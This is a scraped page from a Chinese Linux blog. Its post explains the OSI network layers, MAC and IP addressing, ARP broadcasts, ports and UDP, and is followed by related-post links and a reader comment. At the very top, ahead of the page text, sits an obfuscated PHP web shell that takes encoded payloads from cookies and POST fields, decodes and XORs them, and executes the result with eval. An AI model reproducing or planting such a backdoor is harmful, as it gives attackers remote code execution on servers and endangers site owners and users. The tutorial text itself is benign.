$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 通络通信 | Linux运维部落

通络通信

网络详解:

网络的osi层次结构:

osi2.png

物理层:

以太网规定,连入网络的所有设备,都必须具有”网卡”接口。数据包必须是从一块网卡,传送到另一块网卡。

网卡的地址,就是数据包的发送地址和接收地址,这叫做MAC地址。

每块网卡出厂的时候,都有一个全世界独一无二的MAC地址,长度是48个二进制位,通常用12个十六进制数表示。

前6个十六进制数是厂商编号,后6个是该厂商的网卡流水号。有了MAC地址,就可以定位网卡和数据包的路径了。

数据链路层:

如果是同一个子网络,就采用广播方式发送,否则就采用”路由”方式发送。(”路由”的意思,就是指如何向不同的子

网络分发数据包,pc->switch->route<-switch<-pc)遗憾的是,MAC地址本身无法做到这一点。它只与厂商有关,与所处网络无关。

这就导致了”网络层”的诞生。它的作用是引进一套新的地址,使得我们能够区分不同的计算机是否属于同一个子网络。这套地址就叫做”网络地址”,简称”网址”。

于是,”网络层”出现以后,每台计算机有了两种地址,一种是MAC地址,另一种是网络地址。两种地址之间没有任何联系,MAC地址是绑定在网卡上的,网络地址则

是管理员分配的,它们只是随机组合在一起。网络地址帮助我们确定计算机所在的子网络,MAC地址则将数据包送到该子网络中的目标网卡。因此,从逻辑上可以推断,

必定是先处理网络地址,然后再处理MAC地址。

总结一下,IP协议的作用主要有两个,一个是为每一台计算机分配IP地址,另一个是确定哪些地址在同一个子网络。

网络层:

网络号 = IP与掩码 按位相与 ,其作用就是判断两个网络是不是在一个网段内。如果按位相与后的结果一样说明是一个网络段。

想要了解网络的详解,就必须了解网络的分层结构:网络的osi七层协议,也可称为5层协议,通过网络的分层了解数据包传输的过程。

首先,由于网络的通信就是为了进行数据包的传递,而数据又是从一个网卡到另一个网卡,而识别网卡就需要知道网卡的标识符(mac)。

这里就不得不提一下ARP协议,就是进行路径广播获取对方的mac地址。而ip数据包时放在以太网数据包中发送的,所以我们必须同时知道

两个地址,一个事对方的MAC地址,另一个是对方的IP地址,通常情况下对方的ip地址是已知道的,但是我们不知道它的mac地址。所以我们

就需要一种机制能够从ip获取到mac地址,这种机制就是所谓的ARP协议。这里面又分为两种情况:一是在同一个网络内,我们可以使用ARP协议,

ARP协议也是发送一个数据包(包含在以太网数据包中)。其中包含它说要查询的主机的ip地址,而对方的mac填的为:FF:FF:FF:FF:FF:FF ,表示

这是一个广播地址。它所在的子网络的每一台主机都会收到这个数据包,从中取出IP地址与自己的IP进行比对,如果一样,就会做出回复,告诉对

方自己的mac地址,如果不一样,就会舍弃这个数据包,不做回应。

举一个通俗易懂的例子,比如说:快递员(源ip)送货送到某小区的某栋楼下,只知道需要A(目标ip)收货,却不知道A具体住在哪个楼层,

于是只有在楼下喊话(ARP广播),A听到之后,在楼上告诉快递员具体位置(mac地址),快递员才能送上去(发送数据包)

二是:如果源主机与目标主机不在同一个网络内(是不是同一个网络查看网络号是否相同),不在同一个网络内就需要把数据包传递给网关的mac,网关的mac收到之后拆除mac的标头看到里面的ip不是自己的,又把数据包重新进行封装,然后传递给网关的另外一处,直到数据包传递给目标主机。

比如说:A(源ip)在北京(源mac),B(目标ip)在上海(mac)。因为不在同一个网络内,所以喊话是听不到的,只能通过北京火车站(源地址网关)到上海火车站(目标网关),到了同一个网络内再进行喊话,B听到之后会回应,告诉A它的mac,再进行数据包发送。

传输层:

有了ip地址和mac地址,我们可以在互联网上的任意两台主机进行网络通信。但是,这时又有一个问题就是:同一台主机上有不同的程序需要用到网络,

这时候如果我们一边浏览网页,一边和朋友聊条,而这是我们发送的数据怎么辨别是聊天信息还是浏览网页的内容呢? 这样看来,我们还需要一个参数来标记这个数据包时供哪个程序使用的。这个参数就是“端口号”。它其实是每一个使用网卡的程序的编号,每个数据包都发送到主机的特定端口,所以不同的程序就能获取到自己所需要的数据。而传输层就是建立端口到端口的通信,相比之下,网络层是建立主机到主机之间的通信。只要确定主机和端口我们就能实现程序之间的交流。因此,linux系统就把主机+端口 的合称叫做“套接字”。有了它,就可以进行网络应用程序开发了。

        而在数据包中我们加入端口信息的话,就需要新的协议,最简单的就是UDP协议,它的格式就是在数据前面加上端口号。UDP数据包也是由“标头”和“数据”组成。标头部分定义了发送端口和接收端口,数据就是数据包的具体内容。然后把整个UDP数据包放入IP数据包的数据部分,ip数据包又是放在以太网数据包中。

应用程序收到”传输层”的数据,接下来就要进行解读。由于互联网是开放架构,数据来源五花八门,必须事先规定好格式,否则根本无法解读。

应用层:

“应用层”的作用,就是规定应用程序的数据格式。


举例来说,TCP协议可以为各种各样的程序传递数据,比如Email、WWW、FTP等等。那么,必须有不同协议规定电子邮件、网页、FTP数据的格式,这些应用程序协议就构成了”应用层”。


这是最高的一层,直接面对用户。它的数据就放在TCP数据包的”数据”部分。因此,现在的以太网的数据包就变成下面这样。

osi1.png

原创文章,作者:zhong,如若转载,请注明出处:http://www.178linux.com/42810

(0)
上一篇 2016-09-02 08:47
下一篇 2016-09-02 08:47

相关推荐

  • N26 第五周博客作业

    1、显示当前系统上root、fedora或user1用户的默认shell; 演示:     [root@263821a05cd9 /]# grep -E “^(root|fedora|user1)\>” /etc/passwd    root:x:0:0:root:/r…

    Linux干货 2017-03-05
  • Linux 计划任务快速理解入门

    计划任务简单来说是一个我们规定的时间去执行我们需要的脚本、命令及需要Linux做的事情。 以前写过一个脚本,由于当时没有学过计划任务,所以写起来特别痛苦,该脚本的需求是每天晚上11:00 备份/etc目录 当时特别小白,于是这么写的: VimrebootScript ‘ #!/bin/bash whiletrue;do If [ -d/app/e…

    Linux干货 2017-05-15
  • Sqlserver2012(主从复制)共享同步日志备份恢复

    SQL Server 2012相对于SQL Server 2008来说,无论是性能还是功能都有一个相当大的提高,甚至可以用“革命”来形容这一次升级。SQL Server 2012使 SQL Server 跻身于企业级数据库行列。在数据高可用性方面,SQL Se…

    Linux干货 2015-10-31
  • 决不放弃

    坚持到底!

    Linux干货 2017-11-17
  • ​redis cluster 安装指南

    公司的很多项目在使用redis主从。由于coder的各种毁灭性操作,迫切需要一个能带故障恢复的架构。因此新版的cluster,开始了测试。 一、Cluster 理论基础 Cluster介绍 Redis集群是一个提供在多个Redis间节点间共享数据的程序集。 Redis集群并不支持处理多个keys的命令,因为这需要在不同的节点间移动数据,从而达不到像Redis…

    Linux干货 2016-02-14
  • Linux 基础(5)

    /etc/passwd           /etc/shadow         /etc/gpasswd (chage)            /etc/gshadow    usera…

    2017-07-22

评论列表(1条)

  • 马哥教育
    马哥教育 2016-09-10 09:17

    文章对网络参考模型ISO阐述的很详细,但这个排版有点混乱,而且不只是这一篇了,希望作者能注意一下。